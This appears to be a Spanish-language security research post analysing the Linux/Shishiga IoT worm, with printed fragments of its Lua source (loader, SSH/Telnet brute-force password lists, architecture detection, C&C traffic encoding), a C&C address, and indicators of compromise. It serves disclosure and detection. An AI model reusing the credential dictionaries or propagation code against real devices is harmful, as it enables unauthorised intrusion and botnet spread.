Entre todas las muestras de Linux que recibimos cada día, advertimos una detectada solo por Dr.Web con la firma Linux.LuaBot. Nos pareció que esto era sospechoso, ya que nuestras tasas de detección para la familia Luabot generalmente son altas.
Al analizarla, resultó que efectivamente se trataba de un bot escrito en Lua, pero que representa a una nueva familia y no está relacionado con el malware Luabot visto anteriormente. Por lo tanto, le dimos un nuevo nombre: Linux/Shishiga. Usa cuatro protocolos diferentes (SSH, Telnet, HTTP y BitTorrent) y scripts de Lua para su modularidad.
¿Cómo encontrar a Shishiga?
Linux/Shishiga apunta a sistemas GNU/Linux. Su vector de infección es uno muy común: hacer fuerza bruta para obtener credenciales débiles basándose en una lista de contraseñas. Lo hace de manera similar a Linux/Moose, con la capacidad agregada de hacer fuerza bruta de credenciales SSH también. Aquí hay una lista completa de credenciales al momento de escribir este artículo:
[...]
local accounts={
{"admin","admin"},
{"root","root"},
{"adm","adm"},
{"acer","acer"},
{"user","user"},
{"security","security"}
}
[...]
[...]
local accounts={
{"admin","admin"},
{"root","root"},
{"adm","adm"},
{"ubnt","ubnt"},
{"root",""},
{"admin",""},
{"adm",""},
{"user","user"},
{"pi","pi"},
}
--[[
{"acer","acer"},
{"security","security"},
{"root","toor"},
{"root","roottoor"},
{"root","password"},
{"root","test"},
{"root","abc123"},
{"root","111111"},
{"root","1q2w3e"},
{"root","oracle"},
{"root","1q2w3e4r"},
{"root","123123"},
{"root","qwe123"},
{"root","p@ssw0rd"},
{"root","1"},
{"root","12"},
{"root","123"},
{"root","1234"},
{"root","12346"},
{"root","123467"},
{"root","1234678"},
{"root","12346789"},
{"root","123467890"},
{"root","qwerty"},
{"root","pass"},
{"root","toor"},
{"root","roottoor"},
{"root","password123"},
{"root","password123456"},
{"root","pass123"},
{"root","password"},
{"root","passw0rd"},
{"root","1qaz"},
{"root","1qaz2wsx"},
{"root","asdfgh"},
{"user","user"},
{"user",""},
{"acer","acer"},
{"security","security"},
{"root","passw0rds"},
]]
[...]
Encontramos varios binarios de Linux/Shishiga para arquitecturas como MIPS (tanto para los formatos Big Endian y Little Endian), ARM (armv4l), i686, y también PowerPC. Estos son comunes en dispositivos IoT. Creemos que otras arquitecturas como SPARC, SH-4 o m68k podrían ser soportadas, como explicaremos más adelante.
Las características de Shishiga
Linux/Shishiga es un binario empaquetado con UPX 3.91 (Ultimate Packer for Executables), pero la herramienta UPX tendrá problemas para desmpaquetar estos binarios porque Shishiga añade datos al final del archivo empaquetado.
Tras desempaquetarlo, vemos que está vinculado estáticamente con la biblioteca en tiempo de ejecución Lua y despojado de todos los símbolos.
$ file unpacked.i686.lm
unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, stripped
Una vez ejecutado, el binario inicializará el módulo Lua de malware con los siguientes métodos:
malware_module_methods dd offset aGetver ; "getver"
dd offset getver
dd offset aGetos ; "getos"
dd offset getos
dd offset aGetarch ; "getarch"
dd offset getarch
dd offset aGetmacaddr ; "getmacaddr"
dd offset getmacaddr
dd offset aGetmods ; "getmods"
dd offset getmods
dd offset aSetargs ; "setargs"
dd offset setargs
El método getmods
devolverá el flujo de memoria (o "blob", en inglés) del archivo, como explicaremos después. Luego, se ejecuta el código en Lua (malware.lua
) a través de las funciones luaL_loadstring
y
lua_pcall
. El código Lua es bastante sencillo, pero aquí hay un rápido paso a paso del código fuente sin ninguna modificación de nuestra parte.
local unistd=require("posix.unistd")
require("malware")
function getexe()
local fn=unistd.readlink("/proc/self/exe")
if fn==nil and arg~=nil then
fn=arg[0] --symlink removed
end
if fn==nil then
print("couldn't find bot file")
return nil
end
local file=io.open(fn,"r")
if file==nil then
print("couldn't find bot file")
return nil
end
local data=file:read("*all")
file:close()
return data
end
function getMods()
return zlib.inflate()(malware.getmods())
end
function getScriptFiles(scripts)
local files={}
local i=1
while true do
local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i)
if a1==nil then
break
end
local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i)
if a2==nil then
break
end
if c1~=c2 then
return nil
end
local src=string.sub(scripts,b1+1,a2-1)
i=b2+1
files[c1]=src
end
return files
end
malware.exe=getexe() (1)
local modules=getScriptFiles(getMods()) (2)
[...]
f=load(malware.modules['main.lua']) (3)
local s,err=pcall(f)
if s==false then
print(err)
end
(1) | abre el archivo ejecutable de malware desde /proc/self/exe y devuelve su contenido; |
(2) | recupera el archivo zlib a través del método getmods , lo descomprime, luego lo parsea usando etiquetas y lo almacena en un array de Lua; |
(3) | llama al módulo main.lua ; |
Hay una lista exhaustiva de todos los scripts de Lua hallados en la sección de IoC. La mayoría tienen nombres de archivo que se explican a sí mismos, pero aquí hay un breve resumen de algunos de ellos.
callhome.lua
- devolver el archivo de configuración
server.bt
oservers
desdeconfig.lua
; - si no es posible contactar al servidor por defecto actual, cambiar a uno diferente;
- enviar archivos (reportes o cuentas, ambos con formato JSON);
- ejecutar tareas de la lista obtenida del servidor de C&C;
bfssh.lua / bftelnet.lua
- módulo para hacer fuerza bruta de de inicios de sesión SSH y Telnet;
- verificar si el comando
echo -en "\\x31\\x33\\x33\\x37"
arroja1337
; si no, sale y continúa; - la arquitectura del dispositivo se determina desde el archivo / bin / ls ejecutando cat / bin / ls y analizando el encabezado ELF, véase más abajo;
- propagar el malware (tanto archivos
.lm
como.dl
) según la arquitectura del dispositivo; - guardar las credenciales correctas;
El código que verifica la arquitectura es como sigue:
function bfssh.getArchELF(text)
local bits,denc,ver,ftype,farch
if text==nil then
return nil
end
local i=text:find("\x7fELF") (1)
if i~=nil then
bits,denc,ver=string.unpack("<BBB",text:sub(i+4))
if denc==1 then
ftype,farch=string.unpack("<HH",text:sub(i+16)) (2)
else
ftype,farch=string.unpack(">HH",text:sub(i+16))
end
end
return bits,denc,farch (3)
end
(1) | cada archivo ELF debe empezar con \x7fELF |
(2) | ftype que representa e_type (tipo de archivo ELF = ejecutable, compartido, etc.) no se usa |
(3) | bits representa e_ident[EI_CLASS] (32 bits o 64 bits), denc representa e_ident[EI_DATA] (little o big endian), y farch representa e_machine en el encabezado ELF |
function bfssh.getArchName(bits,denc,farch) (1)
if farch==0x8 and denc==1 then (2)
return "mipsel"
end
if farch==0x8 and denc==2 then
return "mips"
end
if farch==0x28 then
return "armv4l"
end
if farch==0x2 then
return "sparc"
end
if farch==0x2a then
return "sh4"
end
if farch==0x4 then
return "m68k"
end
if farch==0x14 then
return "powerpc"
end
if farch==0x3 or farch==0x7 or farch==0x3e then (3)
return "i686"
end
return nil
end
(1) | bits no se usa |
(2) | comprobar si el archivo es para MIPS little endian (e_machine == EM_MIPS y e_ident[EI_DATA] == ELFDATA2LSB ) |
(3) | comprobar si el archivo es para Intel 80386, Intel 80860 o AMD x86-64 (e_machine == EM_386 , e_machine == EM_860 o e_machine == EM_X86_64 ) |
config.lua
- contiene publicKey para verificar la firma del binario (.lm o .dl);
- contiene lista de nodos de arranque;
- contiene nombres de archivos .bt, números de puerto de SOCKS y servidor HTTP;
- contiene dirección IP del servidor (probablemente servidor de C&C);
persist.lua
- método de persistencia dependiendo del privilegio (root o usuario)
scanner.lua
- utilizado para generar redes /16 aleatorias que no son locales
worm.lua (este script se eliminó en la última versión de Linux/Shishiga)
- permite el escaneo de un determinado puerto;
- permite la carga;
- obtiene información del nuevo servidor infectado;
El script readme.lua
tiene un banner de mensaje que llama la atención, si hablas ruso:
ВСЁ ИДЁТ ПО ПЛАНУ
А при коммунизме всё будет заебись
Он наступит скоро — надо только подождать
Там всё будет бесплатно,там всё будет в кайф
Там наверное вощще не надо будет (умирать)
Я проснулся среди ночи и понял, что -
ВСЁ ИДЁТ ПО ПЛАНУ
Esto se traduce a:
TODO VA SEGÚN EL PLAN
Cuando obtengamos el comunismo, todo será jodidamente bueno.
Llegará pronto, solo tenemos que esperar.
Todo será gratis allí, todo será superior.
Probablemente ni siquiera tengamos que morir.
Me desperté en medio de la noche y me di cuenta
TODO VA SEGÚN EL PLAN
Parece que el autor del malware se inspiró en Y.Letov y su álbum Everything goes according to plan; mira el último verso de la canción.
Durante las últimas semanas, observamos algunos cambios menores como partes de algunos módulos reescritas, suma de módulos de prueba o eliminación de archivos redundantes, pero nada especialmente notorio.
Si bien el binario principal se llama <architecture>.lm
, también pudimos obtener binarios con el nombre <architecture>.dl
, un simple backdoor que escucha en 0.0.0.0
(todas las direcciones IPv4) el puerto 2015
.
Comunicación de Shishiga
Linux/Shishiga se puede comunicar usando cualquiera de los módulos httpproto.lua
, btloader.lua
o server.lua
. El módulo httpproto.lua
tiene funciones que permiten codificar o decodificar los datos dados, y hacer solicitudes HTTP POST y GET. El código fuente de abajo muestra el proceso de codificación de datos.
[...]
function httpproto.encode(data)
local msg=bencode.encode(data)
local c=zlib.crc32()(msg)
local k=string.pack("<I",utils.random())
return k..crypto.rc4(k,string.pack("<I",c)..msg)
end
[...]
btloader.lua
usa el módulo torrent.lua
(que reúne funciones de BitTorrent) para guardar o cargar nodos del archivo nodes.cfg. También recupera sus datos de configuración de archivos {server, update, script}.bt (en formato Bencode) y utiliza el protocolo BitTorrent para buscar nuevas versiones de estos archivos. script.bt permite la ejecución de un script en Lua y update.bt permite ejecutar el binario .lm.
A continuación se muestran ejemplos de archivos .bt decodificados mostrados como diccionarios Python.
{
'sig': <removed>,(1)
'k': <removed>,(2)
'salt': 'script',
'seq': 1486885364,
'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n'
}
(1) | firma |
(2) | llave pública |
{
'sig': <removed>,
'k': <removed>,
'salt': 'update',
'seq': 1486885364,
'v':
'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n
8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n
51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n
979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n
ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n'
}
{
'sig': <removed>,
'k': <removed,
'salt': 'server',
'seq': 1486835166,
'v': '93.117.137.35:8080\n'
}
Finalmente, la funcionalidad principal del módulo server.lua
es crear un servidor HTTP con el puerto definido en config.lua
. En todas las muestras que analizamos hasta ahora, ese puerto es 8888.
El servidor responde solo a peticiones /info
y /upload
. Debajo hay una versión (embellecida) de la respuesta del servidor al path /info
. Todos los archivos de aquí abajo pueden ser fácilmente descargados desde el dispositivo infectado.
{
"src":[ (1)
"test.lua",
"test1.lua",
"test10.lua",
"test2.lua",
"test3.lua",
"test5.lua",
"test6.lua",
"test_1.lua",
"test_2.lua",
"test_3.lua",
"test_4.lua"
],
"dl":[ (2)
"armv4l.dl",
"i686.dl",
"mips.dl",
"mipsel.dl"
],
"bt":[ (3)
"script.bt",
"server.bt",
"update.bt"
],
"version":"1.0.0", (4)
"lua":[ (5)
"armv4l.lm",
"i686.lm",
"mips.lm",
"mipsel.lm",
"powerpc.lm"
],
"os":"lin",
"arch":"i686",
"lua_version":"Lua 5.3"
}
(1) | Scripts de Lua |
(2) | Backdoor |
(3) | Scripts de BitTorrent |
(4) | Versión del malware |
(5) | Cargador de módulos |
Al consultar el puerto root / en el puerto 8888 se obtendrá HTTP/1.0 404 OK, que sirve como un simple indicador de compromiso (IoC).
function http.response(req,code,data,timeout)
timeout=timeout or timeoutDef
local hdr="HTTP/1.0 %d OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"
async.sendall(req.sock,hdr:format(code,data:len())..data,timeout)
return true
end
En este punto de nuestra investigación, le pedimos al equipo de Censys que hiciera un escaneo en masa de Internet en el puerto TCP 8888. Encontraron cerca de 10 direcciones IP que coinciden con esta respuesta HTTP particular, que potencialmente corresponden a máquinas infectadas.
Conclusión
A primera vista, Linux/Shishiga pareciera ser igual a otras amenazas que se propagan aprovechando credenciales débiles de Telnet y SSH, pero el uso del protocolo BitTorrent y módulos Lua lo separan de la manada. Apenas el año pasado se vio el uso de BitTorrent en un gusano inspirado en la botnet Mirai, Hajime, y solo podemos especular que se volverá más popular en el futuro.
Es posible que Shishiga evolucione y se expanda, aunque el bajo número de víctimas y los constantes cambios, eliminaciones, modificaciones y agregados en el conjunto de componentes indican claramente que es un trabajo todavía en proceso. Para evitar que tus dispositivos se infecten con Shishiga y gusanos similares, no deberías usar credenciales por defecto de Telnet y SSH.
Quisiéramos agradecer al equipo de Censys por su colaboración.
IoCs
93.117.137.35
003f548796fb52ad281ae82c7e0bb7532dd34241
1a79092c6468d39a10f805c96ad7f8bf303b7dc8
1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b
2889803777e2dfec7684512f45e87248a07d508f
2a809d37be5aa0655f5cc997eb62683e1b45da17
3f1ef05ca850e2f5030ee279b1c589c9e3cc576c
41bf0d5612ba5bc9a05e9d94df0f841b159264a0
4bc106f6231daa6641783dd9276b4f5c7fc41589
4d55efe18643d7408cbe12dd4f319a68084bd11e
4df58ab26f0fc8ec2d1513611ca2b852e7107096
51a4ca78ebb0649721ae472290bea7bfe983d727
5a88b67d8dfaf1f68308311b808f00e769e39e46
6458c48e5167a2371d9243d4b47ad191d642685b
688ccbca8b2918a161917031e21b6810c59eeab0
6e3ba86d1f91669e87945b8ea0211b58e315e189
6f41c8f797814e2e3f073601ce81e8adceef6a27
6f41c8f797814e2e3f073601ce81e8adceef6a27
8a0d58472f6166ade0ae677bab7940fe38d66d35
8a1f9212f181e68a63e06a955e64d333b78c6bf6
8e3c4eb04d4cfd8f44c721111c5251d30ac848b6
979fb376d6adc65473c4f51ad1cc36e3612a1e73
a1f2535576116d93b62d7f5fc6e30e66e0e0a216
a694c6ecc2ff9702905f22b14ed448e9e76fe531
ac094b239851eaf2e9fd309285c0996fb33771a8
b14f7af9665ef77af530109a0331f8ca0bd2a167
b86935c4539901cdec9081d8a8ca915903adaff1
ba5df105496b0c4df7206d29fa544b7a7a346735
bf4d9e25fc210a1d9809aebb03b30748dd588d08
c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79
ce4b3c92a96137e6215a5e2f5fd28a672eddaaab
d8a5d9c4605b33bd47fedbad5a0da9928de6aa33
f73022a4801e06d675e5c3011060242af7b949ad
274181d2f9c6b8f0e217db23f1d39aa94c161d6e
8abbb049bffd679686323160ca4b6a86184550a1
95444c2ccc5fff19145d60f1e817fd682cabe0cd
9cde845852653339f67667c2408126f02f246949
async.lua
async.lua.old
bencode.lua
bfssh.lua
bfssh.lua.old2
bftelnet.lua
btloader.lua
callhome.lua
callhome.lua.old
config.lua
crypto.lua
dht.lua
event.lua
evs.lua
http.lua
httpproto.lua
libevent2.lua
luaevent.lua
main.lua
main2.lua
malware.lua
persist.lua
readme.lua
routing.lua
scanner.lua
scanner2.lua
server.lua
socket.lua
socks.lua
ssh.lua
ssl.lua
telnet.lua
test.lua
test1.lua
test10.lua
test2.lua
test3.lua
test5.lua
test6.lua
threads.lua
torrent.lua
udp.lua
utils.lua
worm.lua
/tmp/.local/*
/tmp/drop
/tmp/srv
$HOME/.local/ssh.txt
$HOME/.local/telnet.txt
$HOME/.local/nodes.cfg
$HOME/.local/check
$HOME/.local/script.bt
$HOME/.local/update.bt
$HOME/.local/server.bt
$HOME/.local/syslog
$HOME/.local/syslog.pid
$HOME/.local/{armv4l,i686,mips,mipsel}.dl
$HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm
/etc/rc2.d/S04syslogd
/etc/rc3.d/S04syslogd
/etc/rc4.d/S04syslogd
/etc/rc5.d/S04syslogd
/etc/init.d/syslogd
/bin/syslogd
/etc/cron.hourly/syslogd